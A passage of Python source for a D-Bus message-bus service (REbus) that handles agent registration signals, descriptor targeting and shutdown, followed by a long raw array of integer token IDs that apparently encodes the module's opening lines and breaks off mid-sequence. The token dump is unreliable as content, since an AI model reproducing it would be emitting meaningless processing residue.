log.debug("LOAD_INTSTATE: %s", agent_name) if self.store.STORES_INTSTATE: return self.store.load_agent_state(agent_name) return "" @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sssas', out_signature='') def request_processing(self, agent_id, desc_domain, selector, targets): log.debug("REQUEST_PROCESSING: %s %s:%s targets %s", agent_id, desc_domain, selector, [str(t) for t in targets]) if not format_check.is_valid_domain(desc_domain): return if not format_check.is_valid_fullselector(selector): return d = self.store.get_descriptor(str(desc_domain), str(selector)) self.userrequestid += 1 self.targeted_descriptor(agent_id, desc_domain, d.uuid, selector, targets, self.userrequestid) @dbus.service.signal(dbus_interface='com.airbus.rebus.bus', signature='ssss') def new_descriptor(self, sender_id, desc_domain, uuid, selector): pass @dbus.service.signal(dbus_interface='com.airbus.rebus.bus', signature='ssssasb') def targeted_descriptor(self, sender_id, desc_domain, uuid, selector, targets, user_request): """ Signal sent when a descriptor is sent to some target agents (not broadcast). Useful for: * Forcefully replaying a descriptor (debug purposes, or user request) * Feeding descriptors to a new agent. Used when resuming the bus. * Interactive mode - user may choose which selectors get send to each agent :param sender_id: sender id :param desc_domain: descriptor domain :param uuid: descriptor uuid :param selector: descriptor selector :param targets: list of target agent names. Agents not in this list should ignore this descriptor. :param user_request: True if this is a user request targeting agents running in interactive mode. """ pass @dbus.service.signal(dbus_interface='com.airbus.rebus.bus', signature='b') def bus_exit(self, awaiting_internal_state): """ Signal sent when the bus is exiting. :param awaiting_internal_state: indicates whether agents must send their internal serialized state for storage. """ self.exiting = True return @dbus.service.signal(dbus_interface='com.airbus.rebus.bus', signature='') def on_idle(self): """ Signal sent when the bus is idle, i.e. all descriptors have been marked as processed or processable by agents. """ pass @classmethod def run(cls, store, master_options): gobject.threads_init() dbus.glib.init_threads() DBusGMainLoop(set_as_default=True) bus = dbus.SessionBus() name = dbus.service.BusName("com.airbus.rebus.bus", bus) svc = cls(bus, "/bus", store) svc.mainloop = gobject.MainLoop() log.info("Entering main loop.") try: svc.mainloop.run() except (KeyboardInterrupt, SystemExit): if len(svc.clients) > 0: log.info("Trying to stop all agents properly. Press Ctrl-C " "again to stop.") # stop scheduler svc.sched.shutdown() # ask slave agents to shutdown nicely & save internal state log.info("Expecting %u more agents to exit (ex. %s)", len(svc.clients), svc.clients.keys()[0]) svc.bus_exit(store.STORES_INTSTATE) store.store_state() try: svc.mainloop.run() except (KeyboardInterrupt, SystemExit): if len(svc.clients) > 0: log.info( "Not all agents have stopped, exiting nonetheless") log.info("Stopping storage...") store.store_state() @staticmethod def _sigterm_handler(sig, frame): # Try to exit cleanly the first time; if that does not work, exit. # raises SystemExit, caught in run() sys.exit(0) @staticmethod def add_arguments(subparser): # TODO allow specifying dbus address? Currently specified by local dbus # configuration file or environment variable pass def _busthread_call(self, method, *args): gobject.idle_add(method, *args) def _sched_inject(self, agent_id, desc_domain, uuid, selector, target): """ Called by Sched object, from Timer thread. Emits targeted_descriptor through bus thread. """ self._busthread_call( self.targeted_descriptor, *(agent_id, desc_domain, uuid, selector, [target], False))
[ 1, 396, 29991, 847, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13, 5215, 10876, 13, 5215, 7182, 13, 3166, 16250, 1053, 315, 5336, 29892, 2322, 8977, 13, 5215, 4833, 375, 29889, 5509, 13, 5215, 4833, 375, 29889, 29887, 1982, 13, 3166, 4833, 375, 29889, 3396, 7888, 29889, 29887, 1982, 1053, 6535, 375, 29954, 6330, 18405, 13, 3166, 337, 8262, 29889, 2783, 11709, 1053, 2726, 11709, 13, 5215, 330, 3318, 13, 5215, 12183, 13, 3166, 337, 8262, 29889, 8504, 29889, 2917, 1053, 679, 29918, 4905, 29918, 13794, 292, 29918, 6768, 13, 3166, 337, 8262, 29889, 8504, 29889, 15550, 3950, 1053, 289, 29953, 29946, 15550, 3950, 408, 7797, 3950, 13, 3166, 337, 8262, 29889, 8262, 6207, 1053, 8406, 19203, 13, 3166, 337, 8262, 29889, 8504, 29889, 816, 287, 1053, 1102, 287, 13, 3166, 337, 8262, 29889, 8504, 1053, 3402, 29918, 3198, 13, 13, 13, 1188, 353, 12183, 29889, 657, 16363, 703, 276, 8262, 29889, 8262, 1159, 13, 13, 13, 29992, 16890, 19203, 29889, 25932, 29918, 9573, 13, 1990, 6535, 375, 19203, 29898, 2585, 375, 29889, 5509, 29889, 2061, 29892, 8406, 19203, 1125, 13, 1678, 903, 978, 29918, 353, 376, 2585, 375, 29908, 13, 1678, 903, 14273, 29918, 353, 376, 11403, 16155, 2966, 25566, 304, 14523, 7191, 29908, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3593, 29892, 5446, 2084, 29892, 3787, 1125, 13, 4706, 4833, 375, 29889, 5509, 29889, 2061, 17255, 2344, 12035, 1311, 29892, 3593, 29892, 5446, 2084, 29897, 13, 4706, 1583, 29889, 8899, 353, 3787, 13, 4706, 396, 29901, 11053, 10823, 333, 313, 735, 29889, 11658, 29899, 29901, 29896, 29889, 29906, 29941, 29946, 29897, 304, 1203, 2224, 313, 735, 29901, 13, 4706, 396, 29901, 847, 14748, 29914, 21920, 29897, 13, 4706, 1583, 29889, 11303, 1237, 353, 6571, 13, 4706, 1583, 29889, 735, 11407, 353, 7700, 13, 4706, 396, 29901, 658, 4684, 29961, 7247, 29962, 338, 263, 731, 310, 313, 908, 333, 29892, 11764, 29897, 5069, 9068, 13, 4706, 396, 29901, 756, 4687, 313, 29885, 523, 1584, 367, 7743, 467, 2178, 1242, 3196, 19518, 393, 13, 4706, 396, 29901, 2189, 278, 1021, 1002, 6393, 16287, 304, 1065, 297, 8943, 13, 4706, 1583, 29889, 908, 29879, 353, 2322, 8977, 29898, 842, 29897, 13, 4706, 7182, 29889, 25436, 29898, 25436, 29889, 5425, 29954, 4945, 29924, 29892, 1583, 3032, 18816, 8489, 29918, 13789, 29897, 13, 4706, 396, 29901, 11053, 10823, 4841, 304, 1009, 2983, 13, 4706, 1583, 29889, 14748, 7039, 353, 6571, 13, 4706, 396, 29901, 11053, 10823, 4841, 304, 1009, 7797, 1891, 5285, 448, 1962, 10551, 292, 13, 4706, 396, 29901, 3987, 871, 13, 4706, 1583, 29889, 351, 1237, 29918, 4905, 29918, 13794, 292, 29918, 6768, 353, 6571, 13, 4706, 396, 29901, 11053, 10823, 4841, 304, 1009, 7797, 1891, 5285, 13, 4706, 1583, 29889, 351, 1237, 29918, 8159, 29918, 2917, 29918, 3945, 29879, 353, 6571, 13, 4706, 396, 29901, 21196, 265, 1711, 10231, 1404, 2009, 6795, 13, 4706, 1583, 29889, 1792, 3827, 333, 353, 29871, 29900, 13, 4706, 396, 29901, 1353, 310, 29037, 943, 13, 4706, 1583, 29889, 2783, 11709, 29918, 2798, 353, 29871, 29900, 13, 4706, 396, 29901, 2302, 29037, 943, 10902, 408, 19356, 29914, 5014, 519, 491, 1269, 20498, 873, 13, 4706, 396, 29901, 13252, 10823, 13, 4706, 1583, 29889, 2783, 11709, 29918, 3179, 839, 29918, 2798, 353, 6571, 13, 4706, 396, 29901, 443, 29875, 29939, 29918, 5527, 29918, 11303, 1237, 15625, 14748, 29918, 978, 29892, 2295, 29918, 3945, 4638, 353, 518, 14748, 29918, 333, 29892, 2023, 29962, 13, 4706, 1583, 29889, 3909, 29939, 29918, 5527, 29918, 11303, 1237, 353, 2322, 8977, 29898, 1761, 29897, 13, 4706, 396, 29901, 337, 2202, 29918, 29883, 1309, 2153, 15625, 14748, 29918, 978, 29892, 2295, 29918, 3945, 29892, 5354, 29892, 11764, 4638, 353, 320, 13, 4706, 396, 29901, 268, 1353, 310, 9886, 3240, 2722, 13, 4706, 1583, 29889, 276, 2202, 29918, 29883, 1309, 2153, 353, 2322, 8977, 29898, 8977, 29897, 13, 4706, 1583, 29889, 816, 287, 353, 1102, 287, 29898, 1311, 3032, 816, 287, 29918, 21920, 29897, 13, 13, 1678, 822, 903, 5504, 29918, 3198, 29918, 333, 280, 29898, 1311, 29892, 10823, 29918, 978, 29892, 1962, 29918, 13794, 292, 29918, 6768, 1125, 13, 4706, 9995, 13, 4706, 512, 1037, 2129, 278, 2302, 310, 16459, 29037, 943, 322, 12747, 13, 4706, 565, 599, 29037, 943, 505, 1063, 16459, 313, 5014, 287, 29914, 3502, 287, 13, 4706, 408, 1889, 519, 467, 13, 4706, 512, 393, 1206, 29892, 3638, 278, 376, 265, 29918, 333, 280, 29908, 2643, 29889, 13, 4706, 9995, 13, 4706, 1024, 29918, 2917, 353, 313, 14748, 29918, 978, 29892, 1962, 29918, 13794, 292, 29918, 6768, 29897, 13, 4706, 1583, 29889, 2783, 11709, 29918, 3179, 839, 29918, 2798, 29961, 978, 29918, 2917, 29962, 4619, 29871, 29896, 13, 4706, 1583, 3032, 3198, 29918, 333, 280, 580, 13, 13, 1678, 822, 903, 3198, 29918, 333, 280, 29898, 1311, 1125, 13, 4706, 565, 1583, 29889, 735, 11407, 29901, 13, 9651, 736, 13, 4706, 396, 5399, 565, 591, 505, 7450, 28132, 2106, 13, 4706, 302, 29890, 5721, 5562, 351, 1237, 353, 7431, 29898, 1311, 29889, 2783, 11709, 29918, 3179, 839, 29918, 2798, 29897, 13, 4706, 302, 29890, 3179, 18964, 353, 2533, 29898, 1311, 29889, 2783, 11709, 29918, 3179, 839, 29918, 2798, 29889, 5975, 3101, 13, 4706, 565, 1583, 29889, 2783, 11709, 29918, 2798, 29930, 9877, 5721, 5562, 351, 1237, 1275, 302, 29890, 3179, 18964, 29901, 13, 9651, 1480, 29889, 8382, 703, 1367, 1307, 29901, 1273, 29881, 19518, 2534, 8359, 313, 978, 29892, 2295, 29897, 1273, 29881, 376, 13, 462, 418, 376, 2783, 924, 943, 1273, 29881, 16459, 613, 302, 29890, 5721, 5562, 351, 1237, 29892, 13, 462, 418, 1583, 29889, 2783, 11709, 29918, 2798, 29892, 302, 29890, 3179, 18964, 29897, 13, 9651, 1583, 29889, 265, 29918, 333, 280, 580, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 359, 29890, 742, 714, 29918, 4530, 1535, 2433, 1495, 13, 1678, 822, 6036, 29898, 1311, 29892, 10823, 29918, 333, 29892, 10823, 29918, 7247, 29892, 282, 386, 29892, 2295, 29918, 3945, 29892, 13, 462, 10174, 29918, 2783, 924, 943, 1125, 13, 4706, 396, 29901, 14088, 3692, 1790, 2777, 310, 278, 1021, 10823, 338, 2307, 13, 4706, 396, 29901, 2734, 411, 278, 1021, 5285, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14748, 29918, 7247, 1125, 13, 9651, 736, 13, 4706, 10823, 29918, 978, 353, 10823, 29918, 333, 29889, 5451, 877, 29899, 742, 29871, 29896, 9601, 29900, 29962, 13, 4706, 1583, 29889, 14748, 7039, 29961, 14748, 29918, 333, 29962, 353, 10823, 29918, 978, 13, 4706, 1962, 29918, 13794, 292, 29918, 6768, 353, 679, 29918, 4905, 29918, 13794, 292, 29918, 6768, 29898, 710, 29898, 2917, 29918, 3945, 876, 13, 13, 4706, 1024, 29918, 2917, 353, 313, 14748, 29918, 978, 29892, 1962, 29918, 13794, 292, 29918, 6768, 29897, 13, 4706, 2307, 29918, 21094, 353, 7431, 29898, 1311, 29889, 3909, 29939, 29918, 5527, 29918, 11303, 1237, 29961, 978, 29918, 2917, 2314, 1405, 29871, 29896, 13, 4706, 1583, 29889, 3909, 29939, 29918, 5527, 29918, 11303, 1237, 29961, 978, 29918, 2917, 1822, 4397, 29898, 14748, 29918, 333, 29897, 13, 13, 4706, 1583, 29889, 11303, 1237, 29961, 14748, 29918, 333, 29962, 353, 282, 386, 13, 4706, 1583, 29889, 351, 1237, 29918, 4905, 29918, 13794, 292, 29918, 6768, 29961, 14748, 29918, 333, 29962, 353, 1962, 29918, 13794, 292, 29918, 6768, 13, 4706, 1583, 29889, 351, 1237, 29918, 8159, 29918, 2917, 29918, 3945, 29879, 29961, 14748, 29918, 333, 29962, 353, 851, 29898, 2917, 29918, 3945, 29897, 13, 4706, 1480, 29889, 3888, 703, 4373, 3132, 1273, 29879, 313, 29995, 29879, 29897, 297, 5354, 1273, 29879, 411, 2295, 1273, 29879, 613, 282, 386, 29892, 13, 462, 10823, 29918, 333, 29892, 10823, 29918, 7247, 29892, 2295, 29918, 3945, 29897, 13, 4706, 565, 451, 10174, 29918, 2783, 924, 943, 29901, 13, 9651, 1583, 29889, 2783, 11709, 29918, 3179, 839, 29918, 2798, 29961, 978, 29918, 2917, 29962, 353, 29871, 29900, 13, 4706, 25342, 451, 2307, 29918, 21094, 29901, 13, 9651, 396, 15076, 451, 29899, 29891, 300, 19356, 29037, 943, 304, 278, 10823, 29892, 13, 9651, 396, 6521, 1790, 2777, 310, 278, 1021, 10823, 756, 2307, 1063, 13, 9651, 396, 4687, 29892, 322, 881, 367, 9068, 1906, 29037, 943, 13, 9651, 443, 5014, 287, 353, 320, 13, 18884, 1583, 29889, 8899, 29889, 1761, 29918, 348, 5014, 287, 29918, 1609, 29918, 14748, 29898, 14748, 29918, 978, 29892, 13, 462, 462, 462, 268, 1962, 29918, 13794, 292, 29918, 6768, 29897, 13, 9651, 1583, 29889, 2783, 11709, 29918, 3179, 839, 29918, 2798, 29961, 978, 29918, 2917, 29962, 353, 320, 13, 18884, 1583, 29889, 2783, 11709, 29918, 2798, 448, 7431, 29898, 348, 5014, 287, 29897, 13, 9651, 363, 2432, 29892, 318, 5416, 29892, 5535, 297, 443, 5014, 287, 29901, 13, 18884, 1583, 29889, 5182, 287, 29918, 2783, 11709, 703, 12925, 613, 2432, 29892, 318, 5416, 29892, 5535, 29892, 13, 462, 462, 308, 518, 14748, 29918, 978, 1402, 7700, 29897, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 29879, 742, 714, 29918, 4530, 1535, 2433, 1495, 13, 1678, 822, 443, 9573, 29898, 1311, 29892, 10823, 29918, 333, 1125, 13, 4706, 1480, 29889, 3888, 703, 19661, 1273, 29879, 756, 443, 9573, 287, 613, 10823, 29918, 333, 29897, 13, 4706, 10823, 29918, 978, 353, 1583, 29889, 14748, 7039, 29961, 14748, 29918, 333, 29962, 13, 4706, 3987, 353, 1583, 29889, 351, 1237, 29918, 4905, 29918, 13794, 292, 29918, 6768, 29961, 14748, 29918, 333, 29962, 13, 4706, 1024, 29918, 2917, 353, 313, 14748, 29918, 978, 29892, 3987, 29897, 13, 4706, 1583, 29889, 3909, 29939, 29918, 5527, 29918, 11303, 1237, 29961, 978, 29918, 2917, 1822, 5992, 29898, 14748, 29918, 333, 29897, 13, 4706, 565, 7431, 29898, 1311, 29889, 3909, 29939, 29918, 5527, 29918, 11303, 1237, 29961, 978, 29918, 2917, 2314, 1275, 29871, 29900, 29901, 13, 9651, 628, 1583, 29889, 2783, 11709, 29918, 3179, 839, 29918, 2798, 29961, 978, 29918, 2917, 29962, 13, 4706, 628, 1583, 29889, 11303, 1237, 29961, 14748, 29918, 333, 29962, 13, 4706, 1583, 3032, 3198, 29918, 333, 280, 580, 13, 4706, 565, 1583, 29889, 735, 11407, 29901, 13, 9651, 565, 7431, 29898, 1311, 29889, 11303, 1237, 29897, 1275, 29871, 29900, 29901, 13, 18884, 1480, 29889, 3888, 703, 1252, 11407, 448, 694, 19518, 526, 2734, 1159, 13, 18884, 1583, 29889, 3396, 7888, 29889, 28358, 580, 13, 9651, 1683, 29901, 13, 18884, 1480, 29889, 3888, 703, 1252, 1103, 292, 1273, 29884, 901, 19518, 304, 6876, 313, 735, 29889, 1273, 29879, 19123, 13, 462, 308, 7431, 29898, 1311, 29889, 11303, 1237, 511, 1583, 29889, 11303, 1237, 29889, 8149, 580, 29961, 29900, 2314, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 893, 742, 714, 29918, 4530, 1535, 2433, 29890, 1495, 13, 1678, 822, 7714, 29898, 1311, 29892, 10823, 29918, 333, 29892, 7714, 333, 29892, 5153, 29918, 7247, 29892, 11764, 1125, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 7700, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 8159, 14357, 29898, 14357, 1125, 13, 9651, 736, 7700, 13, 4706, 5446, 2084, 353, 1583, 29889, 11303, 1237, 29961, 14748, 29918, 333, 29962, 13, 4706, 658, 4684, 353, 1583, 29889, 908, 29879, 29961, 14273, 29918, 7247, 29962, 13, 4706, 1820, 353, 313, 908, 333, 29892, 11764, 29897, 13, 4706, 1480, 29889, 8382, 703, 21339, 16664, 29879, 1273, 29879, 29414, 29879, 29897, 1149, 1273, 29878, 1273, 29879, 16664, 29879, 9162, 7714, 333, 29892, 5446, 2084, 29892, 10823, 29918, 333, 29892, 13, 462, 29871, 1820, 297, 658, 4684, 29892, 5153, 29918, 7247, 29892, 11764, 29897, 13, 4706, 565, 1820, 297, 658, 4684, 29901, 13, 9651, 736, 7700, 13, 4706, 658, 4684, 29889, 1202, 29898, 1989, 29897, 13, 4706, 736, 5852, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 893, 2423, 29884, 742, 714, 29918, 4530, 1535, 2433, 1495, 13, 1678, 822, 443, 908, 29898, 1311, 29892, 10823, 29918, 333, 29892, 7714, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29892, 13, 1669, 9068, 29918, 26061, 29892, 3240, 2722, 29892, 4480, 29918, 2230, 1125, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 8159, 14357, 29898, 14357, 1125, 13, 9651, 736, 13, 4706, 5446, 2084, 353, 1583, 29889, 11303, 1237, 29961, 14748, 29918, 333, 29962, 13, 4706, 658, 4684, 353, 1583, 29889, 908, 29879, 29961, 14273, 29918, 7247, 29962, 13, 4706, 301, 1989, 353, 313, 908, 333, 29892, 11764, 29897, 13, 4706, 1480, 29889, 8382, 703, 3904, 21339, 16664, 29879, 1273, 29879, 29414, 29879, 29897, 1149, 1273, 29878, 1273, 29881, 16664, 29881, 9162, 7714, 333, 29892, 5446, 2084, 29892, 10823, 29918, 333, 29892, 13, 462, 29871, 9068, 29918, 26061, 29892, 3240, 2722, 29892, 4480, 29918, 2230, 29897, 13, 4706, 565, 301, 1989, 451, 297, 658, 4684, 29901, 13, 9651, 736, 13, 4706, 658, 4684, 29889, 5992, 29898, 29880, 1989, 29897, 13, 4706, 396, 1284, 10823, 29918, 978, 29892, 2295, 29918, 3945, 13, 4706, 363, 313, 14748, 29918, 978, 29892, 2295, 29918, 3945, 511, 18999, 297, 1583, 29889, 3909, 29939, 29918, 5527, 29918, 11303, 1237, 29889, 7076, 7295, 13, 9651, 565, 10823, 29918, 333, 297, 18999, 29901, 13, 18884, 2867, 13, 4706, 364, 1989, 353, 313, 14748, 29918, 978, 29892, 2295, 29918, 3945, 29892, 5153, 29918, 7247, 29892, 11764, 29897, 13, 4706, 565, 364, 1989, 451, 297, 1583, 29889, 276, 2202, 29918, 29883, 1309, 2153, 29901, 13, 9651, 1583, 29889, 276, 2202, 29918, 29883, 1309, 2153, 29961, 29878, 1989, 29962, 353, 3240, 2722, 13, 4706, 565, 1583, 29889, 276, 2202, 29918, 29883, 1309, 2153, 29961, 29878, 1989, 29962, 1405, 29871, 29900, 29901, 13, 9651, 1583, 29889, 276, 2202, 29918, 29883, 1309, 2153, 29961, 29878, 1989, 29962, 22361, 29871, 29896, 13, 9651, 5153, 353, 1583, 29889, 8899, 29889, 657, 29918, 2783, 11709, 29898, 14273, 29918, 7247, 29892, 11764, 29897, 13, 9651, 318, 5416, 353, 5153, 29889, 25118, 13, 9651, 1583, 29889, 816, 287, 29889, 1202, 29918, 2467, 29898, 10685, 29918, 2230, 29892, 313, 14748, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 29892, 13, 462, 462, 795, 11764, 29892, 10823, 29918, 978, 876, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 742, 714, 29918, 4530, 1535, 2433, 29890, 1495, 13, 1678, 822, 5503, 29898, 1311, 29892, 10823, 29918, 333, 29892, 7797, 1891, 29918, 2783, 11709, 1125, 13, 4706, 553, 11709, 353, 2726, 11709, 29889, 348, 643, 6646, 29898, 15550, 3950, 29892, 13, 462, 462, 9651, 851, 29898, 15550, 1891, 29918, 2783, 11709, 876, 13, 4706, 5153, 29918, 7247, 353, 851, 29898, 2783, 11709, 29889, 7247, 29897, 13, 4706, 318, 5416, 353, 851, 29898, 2783, 11709, 29889, 25118, 29897, 13, 4706, 11764, 353, 851, 29898, 2783, 11709, 29889, 14357, 29897, 13, 4706, 396, 9801, 9068, 6624, 1078, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 19170, 29918, 19488, 29898, 1311, 29889, 8899, 29892, 553, 11709, 1125, 13, 9651, 1480, 29889, 27392, 703, 5620, 4746, 553, 11709, 1273, 29879, 16664, 29879, 4520, 515, 1273, 29879, 29901, 2425, 470, 376, 13, 462, 4706, 376, 29958, 29906, 19525, 943, 2534, 278, 1021, 553, 11709, 613, 10823, 29918, 333, 29892, 13, 462, 4706, 5153, 29918, 7247, 29892, 11764, 29897, 13, 9651, 736, 7700, 13, 13, 4706, 565, 1583, 29889, 8899, 29889, 1202, 29898, 2783, 11709, 1125, 13, 9651, 1583, 29889, 2783, 11709, 29918, 2798, 4619, 29871, 29896, 13, 9651, 1480, 29889, 8382, 703, 29925, 3308, 29950, 29901, 1273, 29879, 1149, 1273, 29879, 16664, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29897, 13, 9651, 565, 451, 1583, 29889, 735, 11407, 29901, 13, 18884, 1583, 29889, 1482, 29918, 2783, 11709, 29898, 14748, 29918, 333, 29892, 5153, 29918, 7247, 29892, 318, 5416, 29892, 11764, 29897, 13, 18884, 396, 5407, 297, 1206, 599, 19518, 526, 297, 28132, 29914, 1639, 4925, 4464, 13, 18884, 1583, 3032, 3198, 29918, 333, 280, 580, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 1480, 29889, 8382, 703, 29925, 3308, 29950, 29901, 1273, 29879, 2307, 3595, 1149, 1273, 29879, 16664, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 13, 462, 418, 11764, 29897, 13, 9651, 736, 7700, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 29879, 742, 714, 29918, 4530, 1535, 2433, 29879, 1495, 13, 1678, 822, 679, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 1125, 13, 4706, 1480, 29889, 8382, 703, 7194, 29901, 1273, 29879, 1273, 29879, 16664, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 6213, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 14357, 29898, 14357, 1125, 13, 9651, 736, 6213, 13, 4706, 5153, 353, 1583, 29889, 8899, 29889, 657, 29918, 2783, 11709, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 876, 13, 4706, 565, 5153, 338, 6213, 29901, 13, 9651, 736, 5124, 13, 4706, 736, 5153, 29889, 643, 6646, 29918, 7299, 29898, 15550, 3950, 29897, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 29879, 742, 714, 29918, 4530, 1535, 2433, 29879, 1495, 13, 1678, 822, 679, 29918, 1767, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 1125, 13, 4706, 1480, 29889, 8382, 703, 7194, 19143, 29901, 1273, 29879, 1273, 29879, 16664, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 6213, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 14357, 29898, 14357, 1125, 13, 9651, 736, 6213, 13, 4706, 995, 353, 1583, 29889, 8899, 29889, 657, 29918, 1767, 29898, 710, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 876, 13, 4706, 565, 995, 338, 6213, 29901, 13, 9651, 736, 5124, 13, 4706, 736, 7797, 3950, 29889, 29881, 17204, 29898, 1767, 29897, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 742, 714, 29918, 4530, 1535, 2433, 29874, 29912, 893, 29913, 1495, 13, 1678, 822, 1051, 29918, 29884, 29884, 4841, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 1125, 13, 4706, 1480, 29889, 8382, 703, 24360, 29965, 11150, 29903, 29901, 1273, 29879, 1273, 29879, 613, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 6571, 13, 4706, 736, 1583, 29889, 8899, 29889, 1761, 29918, 29884, 29884, 4841, 29898, 710, 29898, 14273, 29918, 7247, 876, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 2146, 29884, 742, 714, 29918, 4530, 1535, 2433, 294, 1495, 13, 1678, 822, 1284, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29918, 13087, 29892, 4046, 29922, 29900, 29892, 9210, 29922, 29900, 1125, 13, 4706, 1480, 29889, 8382, 703, 29943, 22255, 29901, 1273, 29879, 1273, 29879, 16664, 29879, 313, 3317, 1273, 29881, 14383, 1273, 29881, 19123, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 13, 462, 29871, 11764, 29918, 13087, 29892, 4046, 29892, 9210, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 5159, 13, 4706, 1831, 943, 353, 1583, 29889, 8899, 29889, 2886, 29898, 13, 9651, 851, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 29918, 13087, 511, 851, 29898, 13400, 511, 938, 29898, 10289, 876, 13, 4706, 736, 518, 710, 29898, 29879, 29897, 363, 269, 297, 1831, 943, 29962, 13, 13, 1678, 732, 2585, 375, 29889, 5509, 29889, 5696, 29898, 2585, 375, 29918, 13248, 2433, 510, 29889, 1466, 8262, 29889, 276, 8262, 29889, 8262, 742, 13, 462, 308, 297, 29918, 4530, 1535, 2433, 893, 2146, 29884, 742, 714, 29918, 4530, 1535, 2433, 294, 1495, 13, 1678, 822, 1284, 29918, 1609, 29918, 14357, 29898, 1311, 29892, 10823, 29918, 333, 29892, 5153, 29918, 7247, 29892, 11764, 29918, 13506, 29892, 4046, 29922, 29900, 29892, 13, 462, 308, 9210, 29922, 29900, 1125, 13, 4706, 1480, 29889, 8382, 703, 29943, 1177, 4051, 29979, 19143, 29901, 1273, 29879, 1273, 29879, 1273, 29879, 313, 3317, 1273, 29881, 14383, 1273, 29881, 19123, 10823, 29918, 333, 29892, 13, 462, 29871, 5153, 29918, 7247, 29892, 11764, 29918, 13506, 29892, 4046, 29892, 9210, 29897, 13, 4706, 565, 451, 3402, 29918, 3198, 29889, 275, 29918, 3084, 29918, 7247, 29898, 14273, 29918, 7247, 1125, 13, 9651, 736, 5159, 13, 4706, 553, 2395, 353, 1583, 29889, 8899, 29889, 2886, 29918, 1609, 29918, 14357, 29898, 13, 9651, 851, 29898, 14273, 29918, 7247, 511, 851, 29898, 14357, 29918, 13506, 511, 938, 29898, 13400, 511, 938, 29898, 10289, 876, 13, 4706, 736, 518, 14273, 29889, 643, 